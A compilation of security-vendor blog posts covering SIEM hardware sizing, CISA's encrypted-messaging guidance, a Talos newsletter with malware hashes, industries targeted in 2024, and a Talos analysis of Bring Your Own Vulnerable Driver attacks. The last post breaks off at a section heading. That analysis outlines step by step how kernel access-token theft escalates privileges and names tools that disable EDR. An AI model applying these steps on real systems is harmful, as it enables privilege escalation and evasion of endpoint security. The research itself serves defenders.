At some point, the information security department of any large company inevitably begins to consider introducing a SIEM system — or replacing the existing one, and must therefore estimate the budget required for its deployment. But SIEM isn’t a lightweight product that can be deployed within existing infrastructure. Almost all solutions in this category require additional hardware, meaning that equipment must be purchased or rented.

So, for accurate budgeting, it’s necessary to take into account the expected hardware configuration. In this post, we discuss how SIEM hardware requirements change depending on the company’s profile and system’s architecture, and provide rough parameters to help estimate the preliminary cost of such equipment.

Evaluating the data flow

Essentially, a SIEM system collects event data from internal and external sources and identifies security threats by correlating this data. Therefore, before considering what hardware will be required, it’s essential to first assess the volume of information the system will process and store. To this end, you need to first identify critical risks to the infrastructure, and then determine the data sources that must be analyzed to help detect and address threats related to these risks. These are the data sources to focus on. Such an assessment is necessary not only to determine the required hardware, but also to estimate the cost of licensing. For example, the cost of licensing for our Kaspersky Unified Monitoring and Analysis Platform SIEM system directly depends on the number of events per second (EPS). Another important aspect is to check how the vendor calculates the number of events for licensing. In our case, we take the events per second after filtering and aggregation, calculating the average number of events over the past 24 hours rather than their peak values — but not all vendors follow this approach.

The most common sources include endpoints (Windows events, Sysmon, PowerShell logs, and antivirus logs), network devices (firewalls, IDS/IPS, switches, access points), proxy servers (such as Squid and Cisco WSA), vulnerability scanners, databases, cloud systems (such as AWS CloudTrail or Office 365), and infrastructure management servers (domain controllers, DNS servers, and so on).

As a rule, to form preliminary expectations about the average event flow, the size of the organization can serve as a guide. However, the architectural particularities of specific IT infrastructure can make company size a less decisive parameter.

In general, for small and medium-sized organizations with just one office — or up to several offices with good communication channels among them and IT infrastructure located in a single data center — an average event flow of 5000–10 000 EPS can be expected. For large companies, making an estimate is more challenging: depending on the complexity of the infrastructure and the presence of branches, EPS can range from 50 000 to 200 000 EPS.

Architectural components of an SIEM system

An SIEM system generally consists of four main components: the management subsystem, event collection subsystem, correlation subsystem, and storage subsystem.

Core (management subsystem). You can think of this as the control center of the system. It allows managing the other components, and provides visualization tools for SOC analysts — enabling them to easily configure operational parameters, monitor the SIEM system’s state, and, most importantly, view, analyze, sort and search events, process alerts, and work with incidents. This control center needs to also support log viewing through widgets and dashboards, and enable quick data search and access.

The core is an essential component and can be installed as a single instance or as a cluster to provide a higher level of resilience.

Event collection subsystem. As the name suggests, this subsystem collects data from various sources and converts it into a unified format through parsing and normalization. To calculate the required capacity of this subsystem, one must consider both the event flow intensity and the log format in which events arrive from sources.

The server load depends on how the subsystem processes logs. For example, even for structured logs (Key Value, CSV, JSON, XML), you can use either regular expressions (requiring significantly more powerful hardware) or the vendor’s built-in parsers.

Correlation subsystem. This subsystem analyzes data collected from logs, identifies sequences described in correlation rule logic, and, if necessary, generates alerts, determines their threat levels, and minimizes false positives. It’s important to remember that the correlator’s load is also determined not only by the event flow but by the number of correlation rules and the methods used to describe detection logic as well.

Storage subsystem. An SIEM system must not only analyze but also store data for internal investigations, analytics, visualization and reporting, and in certain industries — for regulatory compliance and retrospective alert analysis. Thus, another critical question at the SIEM system design stage is how long you want to store collected logs. From an analyst’s perspective, the longer the data is stored, the better. However, a longer log retention period increases hardware requirements. A mature SIEM system provides the ability to strike a balance by setting different retention periods for different log types. For example, 30 days for NetFlow logs, 60 days for Windows informational events, 180 days for Windows authentication events, and so on. This allows data to be optimally allocated across available server resources.

It’s also important to understand what volume of data will be stored using hot storage (allowing quick access) and cold storage (suitable for long-term retention). The storage subsystem must offer high performance, scalability, cross-storage search capabilities (both hot and cold), and data viewing options. Additionally, the ability to back up stored data is essential.

Architectural features of Kaspersky SIEM

So, we’ve laid out the ideal requirements for an SIEM system. It probably won’t surprise you that our Kaspersky Unified Monitoring and Analysis Platform meets these requirements. With its built-in capability to scale for data flows reaching hundreds of thousands of EPS within a single instance, our SIEM system isn’t afraid of high loads. Importantly, it doesn’t need to be split into multiple instances with correlation results reconciled afterwards — unlike many alternative systems.

The event collection subsystem of the Kaspersky Unified Monitoring and Analysis Platform system is equipped with a rich set of parsers optimized for processing logs in each format. Additionally, the multi-threading capabilities of Go mean the event flow can be processed using all available server resources.

The data storage subsystem used in our SIEM system consists of servers that store data, and servers with the clickhouse-keeper role, which manage the cluster (these servers don’t store data themselves but facilitate coordination among instances). For data flows of 20 000 EPS with a relatively low number of search queries, these services can operate on the same servers that store the data. For higher data flows, it’s recommended to separate these services. For instance, they can be deployed on virtual machines (a minimum of one is required, though three are recommended).

The Kaspersky Unified Monitoring and Analysis SIEM storage system is flexible — allowing event flows to be distributed across multiple spaces, and specifying the storage depth for each space. For example, inexpensive disks can be used to create cold storage (where searches are still possible, just slower). This cold storage can house data that is unlikely to require analysis but must be stored due to regulatory requirements. Such information can be moved to cold storage literally the day after it’s collected.

Thus, the data storage approach implemented in our SIEM system enables long-term data retention without exceeding the budget on expensive equipment, thanks to hot and cold storage capabilities.

SIEM architecture deployment using our SIEM as an example

The Kaspersky Unified Monitoring and Analysis Platform supports multiple deployment options, so it’s important first to determine your organization’s architecture needs. This can be done based on the estimated EPS flow, and the particularities of your company. For simplicity, let’s assume the required data retention period is 30 days.

Data flow: 5000–10 000 EPS

For a small organization, the SIEM system can be deployed on a single server. For example, our SIEM system supports the All-in-One installation option. In this case, the required server configuration is 16 CPUs, 32GB of RAM, and a 2.5TB of disk space.

Data flow: 30 000 EPS

For larger organizations, separate servers are needed for each SIEM component. Dedicating a server exclusively for storage ensures that search queries don’t affect the processing of events by the collector and correlator. However, the collector and correlator services can still be deployed together (or separately, if desired). An approximate equipment configuration for this scenario is as follows:

• Core: 10 CPUs, 24GB of RAM, 0.5TB of disk space
• Collector: 8 CPUs, 16GB of RAM, 0.5TB of disk space
• Correlator: 8 CPUs, 32GB of RAM, 0.5TB of disk space
• Storage: 24 CPUs, 64GB of RAM, 14TB of disk space

Data flow: 50 000–200 000 EPS

For large enterprises, additional factors must be considered when defining the architecture. These include ensuring resilience (as the substantial data-flow increases the risk of failure) and the presence of company divisions (branches). In such cases, more servers may be required to install the SIEM system, as it’s preferable to distribute collector and correlator services across different servers for such high EPS flows.

Data flow: 200 000 EPS

As EPS flows grow and the infrastructure divides into separate independent units, the amount of equipment required increases accordingly. Additional servers will be needed for collectors, storage, correlators, and keepers. Moreover, in large organizations, data availability requirements may take precedence. In this case, the Kaspersky Unified Monitoring and Analysis Platform storage cluster divides all collected events into shards. Each shard consists of one or more data replicas. And each shard replica is a cluster node, meaning a separate server. To ensure resilience and performance, we recommend deploying the cluster with two replicas per shard. For processing such large EPS volumes, three collector servers may be required, installed in the offices with the highest event flows.

Kaspersky SIEM in holding companies

In large enterprises, the cost of implementing an SIEM system increases not only with the volume of data, but also depending on the usage profile. For example, in some cases (such as MSP and MSSP environments, as well as large holding companies with multiple subsidiaries or branches), multi-tenancy is required. This means the company needs to maintain multiple “mini-SIEMs”, which operate independently. Our solution enables this through a single installation at the head office, without the need to install separate systems in/at each branch/tenant. This significantly reduces equipment costs.

Let’s imagine either (i) a holding company, (ii) a vertically-integrated enterprise, or (iii) a geographically-distributed corporation with either various independent security teams or a need to isolate data access among branches. The Kaspersky Unified Monitoring and Analysis Platform tenant model allows for segregated access to all resources, events, and third-party integration settings. This means one installation functions as multiple separate SIEM systems. In this case, while each tenant can develop its own content (correlation rules), there’s also the option of distributing a unified set of resources across all divisions. In other words, each division can have its own collectors, correlators, and rules, but the HQ security team can also assign standardized bundles of security content for everyone — ensuring consistent protection across the organization.

Thus, using the Kaspersky Unified Monitoring and Analysis Platform ensures the necessary performance with relatively modest computing resources. In some cases, savings on hardware can reach up to 50%.

For a more accurate understanding of the required resources and implementation costs, we recommend talking with our specialists or integration partners. We (or our partners) can also provide premium support, assist in developing additional integrations (including using API capabilities for connected products), and oversee the deployment of a turnkey solution covering system design, equipment estimation, configuration optimization, and much more. Learn more about our SIEM system, the Kaspersky Unified Monitoring and Analysis Platform, on the official product page.

Kaspersky official blog – ​Read More

The security of U.S. telecom networks has come under fresh scrutiny in recent months, with the latest example coming this week when the Cybersecurity and Infrastructure Security Agency (CISA) recommended that individuals in need of high security use encrypted messaging apps for mobile communications. 

Concern grew in October when CISA and the FBI confirmed that China-linked threat actors had infiltrated telecom networks in an attempt to spy on President-elect Donald Trump and the campaign of Vice President Kamala Harris, among other top U.S. officials. 

Congressional hearings followed, including an extraordinary admission from Senator Mark Warner that “thousands and thousands and thousands” of vulnerable telecom network devices might need to be replaced. 

“Unlike some of the European countries where you might have a single telco, our networks are a hodgepodge of old networks,” Warner told the Washington Post. “The big networks are combinations of a whole series of acquisitions, and you have equipment out there that’s so old it’s unpatchable.” 

Guidance earlier this month from U.S. cyber and national security agencies and counterparts in Canada, Australia and New Zealand offered comprehensive advice for hardening and securing global telecom networks in light of the attacks, and the U.S. Federal Communications Commission (FCC) said it would take steps to mandate stronger telecom security. 

Attention Turns to SS7 and Diameter as List of Attackers Grows 

Recently, the security of the 40-year-old Signaling System No. 7 (SS7) telecom protocols used in 2G and 3G SMS and phone services – as well as international roaming – came under renewed scrutiny over SS7’s potential to allow location tracking, interception of voice data and multi-factor authentication keys, as well as the protocol’s potential as a spyware delivery vector. The 4G and 5G Diameter protocol also has location tracking vulnerabilities, and 4G and 5G users could also find themselves downgraded to SS7 when roaming. 

Senator Ron Wyden earlier this month released 23 pages of correspondence with the U.S. Department of Defense (DoD) detailing insecurities in telecom messaging systems and the SS7 and Diameter protocols. Wyden and Senator Eric Schmitt asked DoD Inspector General Robert Storch to “investigate the Department of Defense’s (DOD) failure to secure its unclassified telephone communications from foreign espionage.” 

“Teams and certain other platforms utilized by DOD are not end-to-end encrypted by default, causing concerning gaps in security that could easily be mitigated,” the Senators wrote. “End-to-end encrypted voice, video, and text messaging tools such as Signal, WhatsApp, and FaceTime better protect communications in the event that the company that offers the service is hacked.” 

DoD has begun limited pilots of a potentially more secure platform known as Matrix that is widely used by NATO allies, but the senators said the Defense Department needs to do more. 

The letter included a number of appendices detailing correspondence between Wyden’s staff and the DoD. 

In one, Wyden’s staff asked the DoD if it agreed with three statements by the Department of Homeland Security on SS7’s and Diameter’s security shortcomings that were included in a 2017 report – and the DoD responded that it agreed with the statements. 

The three DHS statements the DoD agreed with are: 

• DHS “believes that all U.S. carriers are vulnerable to [SS7 and Diameter] exploits, resulting in risks to national security, the economy, and the Federal Government’s ability to reliably execute national essential functions.” 

• DHS “believes SS7 and Diameter vulnerabilities can be exploited by criminals, terrorists, and nation-state actors/foreign intelligence organizations.” 

• DHS “believes many organizations appear to be sharing or selling expertise and services that could be used to spy on Americans.” 

Wyden also said he had seen an unreleased CISA report from 2022 detailing U.S. telecom security issues that contained “alarming details about SS7-related surveillance activities involving U.S. telecommunications networks.” 

Wyden asked if DoD was “aware of any incidents in 2022 or 2023 in which DoD personnel, whether located in the U.S. or outside the U.S, were surveilled through SS7 and Diameter enabled technologies?” 

The DoD replied that the question “Requires a classified response.” 

Wyden sent the DoD a slide from a 2017 DHS event (not included in the documents) that identified the “primary countries reportedly using telecom assets of other nations to exploit U.S. subscribers. Those countries, according to the DHS presentation, are Russia, China, Israel and Iran.” 

Wyden said Russia, China, Israel and Iran had also used telecom assets of countries in Africa, Central and South America, Europe, the Middle East, and Africa to “attack US subscribers … indicating that these foreign governments are using SS7 to target U.S. users, and that these SS7 attack are being routed through 3rd country networks.” 

Asked if it agreed with those assessments, the DoD replied that it “is not in a position to render an assessment without access to the underlying data that informed this presentation.” 

CISA’s Encrypted Messaging Guidance 

With that background, CISA’s guidance issued this week merits particularly close attention by anyone engaged in sensitive communications, especially those who may come under international roaming. 

The CISA document includes specific recommendations for Android and iPhone devices, but general guidance includes: 

• Using a free messaging application for secure communications that guarantees end-to-end encryption, such as Signal or similar apps. 

• Enable Fast Identity Online (FIDO) phishing-resistant authentication. 

• Take inventory of valuable accounts, including email and social media and review any accounts where information leakage would benefit threat actors 

• Enroll each account in FIDO-based authentication, especially Microsoft, Apple, and Google accounts. Once enrolled in FIDO-based authentication, disable other less secure forms of MFA. 

• For Gmail users, enroll in Google’s Advanced Protection (APP) program to strengthen defenses against phishing and account hijacking. 

• Migrate away from Short Message Service (SMS)-based MFA and disable SMS as a second factor for authentication. 

• Use a password manager to store all passwords. 

• Set a Telco PIN and MFA for mobile phone accounts to protect against SIM-swapping techniques. 

The post CISA Recommends Encrypted Messaging Apps as Telecom Security Questioned  appeared first on Cyble.

Blog – Cyble – ​Read More

Welcome to the final Threat Source newsletter of 2024. 

Watching “Die Hard” during the Christmas season has become a widely recognized tradition for many, despite ongoing debates about its classification as a Christmas movie. I know it isn’t everyone’s cup of tea. Whether you like the movie or not, let me share a story about what didn’t quite go as planned in my family last year.  

When  some celebrities had their social media accounts compromised, I saw it as the perfect opportunity to introduce my family to the world of multi-factor authentication (MFA) for their online accounts. Our home IT setup is diverse— With Linux, Macs, Windows; Androids, iOS, we needed something cross-platform. Also, we needed a user-friendly solution as we have both standard users and IT experts (never underestimate your users). From my professional standpoint, I decided to go “all in” with hardware tokens – they work cross platform and “survive” one or the other OS installs from scratch. Providing two for each person was mandatory in case one got lost, which had happened to me already. So it wasn’t a cheap exercise. In my defense, this was before the side-channel attack EUCLEAK was discovered, which has since expanded to affect more products as noted in the first release. 

In the spirit of John McClane : “Now I know what a TV dinner feels like.” 

The kids found the gift “boring” and almost a year later, the adoption rate is still only 30%. Fortunately, my wife had the foresight to prepare real presents for the family, saving Christmas Eve from being a “bad guys win” scenario. (Only John Thor can drive somebody that crazy.) 

I share this anecdote not to discourage you, but to help you avoid making the same mistake and risking your celebrations. Unless everyone gathered around the Christmas tree is an infosec professional, it might not be the time to go “Yippee-ki-yay Mr Falcon” with tech gifts.  

However, spending time with loved ones is a great opportunity to discuss the trends and importance of cybersecurity. We’ve been highlighting compromised credentials for a long time, as seen in our previous posts [here], [here], [here] and [here]. For the fourth consecutive time in over a year, the most observed means of gaining initial access was the use of valid accounts, making it clear identity-based attacks are becoming more prevalent, and wont be gone anytime soon. 

 Advocate for the use of a password managers—there are paid versions with family plans on one end, and excellent open-source alternatives on the other. Avoid storing credentials in browsers, as they can be extracted by info-stealers. Consider using passkeys where possible. According to the fido alliance, more than 20% of the world’s top 100 websites support passkeys already. If passkeys are not yet enabled for one of your services? Any MFA is better than none. Even using “just” TOTP in a software container is a significant improvement over just a password. 

But it’s not just about enabling MFA. As Martin wrote last week, we need to close the gap by communicating and understanding the the threat landscape. When it comes to stolen credentials, share resources like https://haveibeenpwned.com/ or https://sec.hpi.de/ilc/?lang=en with your loved ones so they can check if their email has been part of a breach.   

If you decide not to bother your friends & famliy (though I strongly believe Mbappe, Sweeny and Odenkirk would have preferred a more secure account) with Account/Password Hygiene, there are some more work related recommendations in Hazel’s “How are attackers trying to bypass MFA” 

Whichever is your idea of Christmas, then, like Argyle said, “I gotta be here for New Year’s!”  

We look forward to seeing you in 2025!   

The one big thing

At the time of writing, our Vulnerability Research Team Disclosed 207 Vulnerabilities, and had another 93 reported to the respective Vendor in 2024.  Di you know  Talos has a team which investigates software and operating system vulnerabilities in order to discover them before malicious threat actors do? Every day, they try to find vulnerabilities that have not yet been discovered, and then work to provide a fix for those before a zero-day threat could ever be executed. 

Why do I care? 

We see threat actors exploiting known vulnerabilities constantly. Sometimes those CVEs are Years old.  

So now what? 

Maybe you want to check for some CVEs or conduct a network security assessments. 
You can our team’s reports,roundups,spotlights and deep dives on our blog. 

Top security headlines of the week 

 Blackhat Europe 2024 took place Dec 9-12 in London, UK. Loaded with a lot of interesting Sessions, my favorites are “Vulnerabilities in the eSIM download protocol” and “Over the Air: Compromise of Modern Volkswagen Group Vehicles” both showing how far an attack surface can possibly extend.  

Germany’s Federal Office for Information Security (BSI) says it blocked communication between appr. 30.000 Android IoT Devices which were sold with BadBox malware preinstalled, and their command and control (C2) infrastructure by sinkholing DNS queries (Bleeping Computer)  

Law enforcement agencies worldwide disrupted a holiday tradition for cybercriminals: launching Distributed Denial-of-Service (DDoS) attacks. Booter and stresser websites were taken down, administrators were arrested and over 300 users were identified for planned operational activities. (Europool) 

The Willow chip is not capable of breaking modern cryptography,” Google’s director of quantum tells The Verge.

Can’t get enough Talos? 

• The evolution and abuse of proxy networks 
• Microsoft Patch Tuesday for December 2024 contains four critical vulnerabilities 

Upcoming events where you can find Talos 

  Cisco Live EMEA (February 9-14, 2025) 

Amsterdam, Netherlands 

Most prevalent malware files from Talos telemetry over the past week  

SHA256:873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f 
MD5: d86808f6e519b5ce79b83b99dfb9294d  
VirusTotal:
https://www.virustotal.com/gui/file/873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f 
Typical Filename: n/a 
Claimed Product: n/a  
Detection Name: Win32.Trojan-Stealer.Petef.FPSKK8  

SHA256:9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
VirusTotal:
https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
Typical Filename: VID001.exe  
Claimed Product: n/a  
Detection Name: Win.Worm.Bitmin-9847045-0 

 SHA 256:
7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5  
MD5: ff1b6bb151cf9f671c929a4cbdb64d86  
VirusTotal: https://www.virustotal.com/gui/file/7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5 
Typical Filename: endpoint.query  
Claimed Product: Endpoint-Collector  
Detection Name: W32.File.MalParent  

 SHA256:47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 
MD5: 71fea034b422e4a17ebb06022532fdde 
VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 
Typical Filename: VID001.exe 
Claimed Product: n/a  
Detection Name: Coinminer:MBT.26mw.in14.Talos 

 SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5:
7bdbd180c081fa63ca94f9c22c457376  
VirusTotal: https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
Typical Filename: IMG001.exe  
Claimed Product: N/A   
Detection Name: Trojan/Win32.CoinMiner.R174018 

 

 

 

 

Cisco Talos Blog – ​Read More

As cyber threats continue to evolve, threat actors are refining their techniques and focusing on industries that hold valuable information or play critical roles in society. From ransomware attacks paralyzing operations to data breaches compromising millions of individuals, no sector is immune to cyberattacks. Drawing from recent reports and insights, this blog explores the top 10 industries targeted by cybercriminals in 2024 and the measures they can adopt to bolster their defenses. 

1.Government and Public Sector: Custodians of National Security 

Government agencies and public sector entities face constant threats, often from nation-state actors seeking strategic advantages or hacktivists with ideological motivations. The sheer volume of citizen data and critical infrastructure managed by these organizations makes them prime targets. 

Major Threats: 

• Espionage: Stealing sensitive data for strategic or financial advantage. 

• DDoS Attacks: Overwhelming systems to disrupt public services. 

Mitigation Strategies: 

Government entities need to prioritize inter-agency collaboration and establish centralized cybersecurity frameworks. Investments in AI-based threat intelligence platforms and public-private partnerships can also bolster resilience against sophisticated attacks. 

2. Energy and Utilities: The Backbone of Critical Infrastructure 

The energy and utilities sector plays a pivotal role in national economies and security. This makes it a frequent target for both cybercriminals and nation-state actors, with attacks often aiming to disrupt critical infrastructure. 

Major Threats: 

• ICS Attacks: Compromise of control systems can lead to widespread outages. 

• Supply Chain Attacks: Threat actors exploit vulnerabilities in third-party vendors to infiltrate systems. 

Mitigation Strategies: 

To protect against these threats, the sector must prioritize ICS cybersecurity by segmenting operational networks from IT networks. Enhanced supply chain scrutiny, robust third-party risk management to monitor vendor vulnerabilities, and partnerships with government cybersecurity agencies can further strengthen defenses against advanced threats. 

3. Healthcare: Where Lives and Data Intersect 

The healthcare industry is one of the fastest-growing targets for cybercriminals, with a staggering 180% increase in ransomware and database leak incidents compared to 2023. Patient safety, critical care, and sensitive medical data make this sector highly lucrative for attackers. 

Major Threats: 

• Ransomware: Delays in accessing medical records can have life-threatening consequences. 

• Database Leaks: Leaked patient records often lead to identity theft and insurance fraud. 

Mitigation Strategies: 

Healthcare organizations must adopt a layered security approach, including data encryption, multi-factor authentication, and comprehensive employee training programs to detect phishing attempts. Regular cybersecurity drills and incident response planning are also essential. 

4. Manufacturing: The Cornerstone of Global Supply Chains 

The manufacturing sector leads the list, experiencing an alarming 377 confirmed attacks in the first half of 2024 alone. Manufacturing remains vital to the global economy, and its reliance on interconnected systems, including Industrial Control Systems (ICS), exposes it to significant risks. 

Major Threats: 

• Ransomware: By locking critical systems and demanding high ransoms, ransomware attacks in manufacturing can lead to halted production lines, financial losses, and delayed supply chains. 

• Database Leaks: Intellectual property, design data, and supply chain information have been prime targets for data exfiltration. 

Mitigation Strategies: 

To mitigate these threats, manufacturers should prioritize securing Industrial Control Systems (ICS) by isolating critical systems, conducting regular vulnerability assessments, and adopting robust endpoint protection solutions. Additionally, incorporating advanced network monitoring tools like Cyble Vision can help detect anomalies before they escalate into breaches. 

5. Financial Services: A Prime Target for Monetary Gain 

The financial services sector consistently ranks among the most targeted industries due to its access to funds and sensitive customer data. In 2024, cybercriminals have adopted sophisticated tactics, leveraging advanced persistent threats (APTs) and exploiting insider vulnerabilities. 

Major Threats: 

• Ransomware: Demands for multimillion-dollar payments are becoming routine. 

• Cryptocurrency Exploits: Attackers target blockchain systems and exchanges to siphon off digital assets. 

• Phishing and Social Engineering: Deceptive tactics to gain unauthorized access to accounts. 

Mitigation Strategies: 

To combat these threats, financial institutions must deploy state-of-the-art AI-driven Threat Intelligence tools. These tools can identify anomalous patterns indicative of fraud or cyberattacks. Additionally, implementing strict access controls and conducting regular security audits are crucial for minimizing risk. 

6. Professional Services: Custodians of Confidential Data 

Professional service firms, including law, accounting, and consulting firms, have witnessed a 15% uptick in cyberattacks compared to 2023. These organizations store highly sensitive client data, making them attractive to threat actors. 

Major Threats: 

• Ransomware: Disruption in service delivery can damage client relationships. 

• Database Leaks: Exposed data can lead to legal liabilities and reputational damage. 

Mitigation Strategies: 

Firms should enforce strict data access controls and encrypt all client information. Regular penetration testing and vulnerability scans can help identify weaknesses before attackers exploit them. Moreover, adopting secure communication platforms can safeguard sensitive exchanges. 

7. Technology: Guardians of Innovation 

Technology companies, encompassing software developers, IT services, and hardware manufacturers, remain high-value targets. Although a slight decline in attacks was noted in 2024, this sector is still vulnerable due to the sensitivity of its intellectual property. 

Major Threats: 

• Data Breaches: Proprietary technology, source codes, and user data are often exfiltrated. 

• Ransomware: Cybercriminals lock critical software systems, halting innovation pipelines. 

Mitigation Strategies: 

Incorporating advanced AI-driven cybersecurity solutions can detect and neutralize threats in real-time. Technology firms should also implement bug bounty programs to uncover vulnerabilities before malicious actors exploit them. 

8. Retail and E-commerce: A Treasure Trove of Consumer Data 

Retailers and e-commerce platforms process massive volumes of personal and payment information, making them a lucrative target for threat actors. In 2024, both online and physical operations have faced increased attacks. 

Major Threats: 

• POS Malware: Point-of-sale systems are compromised to steal cardholder data. 

• Credential Stuffing: Attackers exploit reused passwords to breach user accounts. 

Mitigation Strategies: 

Retail businesses must adopt end-to-end encryption for payment data, deploy multi-factor authentication for account access, and regularly monitor systems for unusual activity. Cybersecurity awareness campaigns targeting both employees and customers can further reduce risks. 

9. Education: Hubs of Knowledge and Innovation 

Educational institutions, particularly universities, are increasingly targeted for their intellectual property, personal data, and operational vulnerabilities. Attackers often aim to disrupt operations or monetize stolen data on the dark web. 

Major Threats: 

• Dark Web Exploitation: Selling stolen academic research and personal data. 

• DDoS Attacks: Crippling online learning platforms and administrative systems. 

Mitigation Strategies: 

Educational institutions must implement robust cybersecurity frameworks, including identity management systems and regular security awareness training. Strong network segmentation and frequent system updates can also help reduce exposure to cyber threats. 

10. Small Businesses: The Underdogs in Cybersecurity 

Small and medium-sized businesses (SMBs) are often perceived as easy targets due to their limited cybersecurity budgets and expertise. Despite their size, the impact of a breach on SMBs can be devastating. 

Major Threats: 

• Phishing: Cybercriminals manipulate employees to gain access to sensitive data. 

• Ransomware: Locking systems and demanding ransoms can cripple operations. 

Mitigation Strategies: 

SMBs should focus on implementing basic yet effective cybersecurity measures, such as routine software updates, secure data backup solutions, and employee training programs to recognize phishing attempts. Outsourcing cybersecurity to managed service providers (MSPs) can also offer cost-effective protection. 

Emerging Trends in Cybersecurity Attacks Across Industries 

While the above industries remain top targets, certain emerging trends in cyberattacks warrant attention across sectors: 

• Supply Chain Vulnerabilities: Attackers increasingly target third-party vendors to infiltrate larger organizations. 

• AI-Driven Threats: Threat actors are using AI to automate attacks and evade traditional security measures. 

• Deepfake and Impersonation Scams: These new-age tactics are used to manipulate trust and extract sensitive information. 

Key Takeaways for 2024 

1. Ransomware Dominates: Nearly every industry has faced ransomware attacks, underscoring the need for robust backup and recovery strategies. 

2. Employee Awareness is Crucial: Phishing and social engineering remain the primary methods of attack. Training employees to recognize these threats can significantly reduce risks. 

3. AI-Powered Defense is Essential: As attackers become more sophisticated, industries must leverage AI and machine learning to stay ahead. 

Conclusion 

The evolving cyber threat landscape in 2024 underscores the importance of vigilance, innovation, and collaboration in cybersecurity. Whether it is the manufacturing sector grappling with ICS vulnerabilities or small businesses struggling with limited resources, all industries must adopt a proactive stance. By prioritizing security investments, fostering a culture of awareness, and leveraging cutting-edge technologies, organizations can safeguard their operations, customers, and reputations in an increasingly connected world. 

The road ahead demands resilience, adaptability, and a unified effort against cyber adversaries. Let 2025 be a year of strengthened defenses and collective action to combat the relentless tide of cyber threats. 

The post Top 10 Industries Targeted by Threat Actors in 2024  appeared first on Cyble.

Blog – Cyble – ​Read More

This post is the result of research into the real-world application of the Bring Your Own Vulnerable Driver (BYOVD) technique along with Cisco Talos’ series of posts about  malicious Windows drivers. Some of this research was presented at the AVAR conference in Chennai at the beginning of December 2024. 

We would like to send a special thanks to Connor McGarr, Russell Sanford, Ryan Warns, Tim Harrison and Michal Poslušný for their previous work on analyzing vulnerabilities in drivers.  

During our research into vulnerable Windows drivers, we investigated classes of vulnerabilities typically exploited by threat actors as well as the payloads they typically deploy post-exploitation. The attacks in which attackers are deliberately installing known vulnerable drivers only to later exploit them is a technique referred to as Bring Your Own Vulnerable Driver (BYOVD). 

How are threat actors using BYOVD? 

The malicious actors use these drivers to perform a myriad of actions that help them achieve their goals. In our research, we identified three major payloads used, which we describe below.  Along with these payloads, we also identified recent activity linked to ransomware groups, which demonstrates real-world cases of malicious actors exploiting vulnerable Windows drivers to achieve their objectives. 

Vulnerable drivers and common payloads 

Local escalation of privileges (admin to kernel/system) 

One of the most common payloads, when we consider vulnerable drivers with arbitrary kernel memory write vulnerabilities, is escalating the privileges of a malicious process. The access privileges for any process are stored in the primary access token structure, which is contained at an undocumented offset in the _EPROCESS structure, the kernel mode structure used to maintain information about each individual process by the Windows kernel. Vergilius Project contains the documentation and offsets of almost all undocumented Windows structures, including _EPROCESS, and can be used as a reference, equally by offensive researchers and defenders.    

A common strategy for escalating privileges of an unprivileged process is to find the _EPROCESS structure of a higher privileged process in kernel memory and replace the access token of the unprivileged process with the access token of the privileged process, which is relatively simple if a vulnerable drivers can be used for reading and writing kernel memory space.  

For example, a privilege escalation may be done by following the steps below: 

1. Find one _EPROCESS structure/object 
2. For example, load ntoskernel.exe in user mode and calculate RVA to PsInitialSystemProcess, which points to the System process (id: 0x04) _EPROCESS structure when ntoskernel.exe is loaded in memory during the boot process. 
3. Use NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 11, ModuleInfo, 1024 * 1024, NULL))) // 11 = SystemModuleInformation to find ntoskernel VA – use the vuln driver to read the offset, add the RVA to find the _EPROCESS structure in kernel memory. 
4. Read the token from the known offset using the vulnerable driver read or memory copy functionality. 
5. Parse _EPROCESS to find the  ActiveProcess links member that points to a linked list of other _EPROCESSES and iterate until the low privilege process is found. 
6. Overwrite the unprivileged process access token with the one previously saved from the SYSTEM process, using a vulnerable driver kernel memory write functionality.  

Loading of unsigned kernel code 

Arbitrary kernel memory write vulnerabilities in drivers can be used to deploy unsigned malicious code into the kernel memory space, either in the shellcode format or a format of the unsigned malicious driver. There are several open-source unsigned device drivers loading utilities. In one instance, Lenovo Mapper was used as a base to develop a game cheat utility “sexy_girl_addy.exe”, which was uploaded to VirusTotal in May 2024. The utility used the code in Lenovo Mapper to load a driver which seems to attempt to disable the TPM-based license check in the game Valorant.  

Bypass EDR software or game anti cheat software 

To showcase an example of malware exploiting vulnerable drivers to terminate EDR tools, we chose a Gh0stRAT campaign from September 2024. The dropper drops an executable “nthandlecallback.exe”, a vulnerable Dell binary utilities driver “dbutil_2_3.sys”, and a ZIP file with the name “tree.exe”. The ZIP contains an executable file “EDR.exe”, a DLL file “irrlicht.dll” and an encrypted file “server.log”. “EDR.exe” is a variant of the open-source tool RealBlindingEDR used to disable EDR programs by exploiting arbitrary memory write vulnerability in Dell’s binary utility driver while the first executable loads the DLL, which decrypts the final Gh0stRAT payload from the encrypted file.  

RealBlindingEDR is just one of many open-source tools developed for the purpose of disabling endpoint security software, and they are used by both threat actors and in red team-based exercises. 

Miscellaneous other payloads 

Vulnerable drivers, mostly in the category of drivers with insufficient access controls, have been used in some advanced attacks. For example, in the Shamoon campaign, a RawDisk driver from Eldos was used to overwrite hard drives, while in February 2022, HermeticWiper used a proxy physical disk writing driver from “EaseUS Partition Master” driver partition manager “empntdrv.sys” for overwriting drives. HermeticWiper contained four embedded resources, which are compressed copies of drivers used by the wiper, depending on the Windows version and the default word memory size for the operating system. 

 

 

Ransomware examples of malicious actors’ use of BYOD 

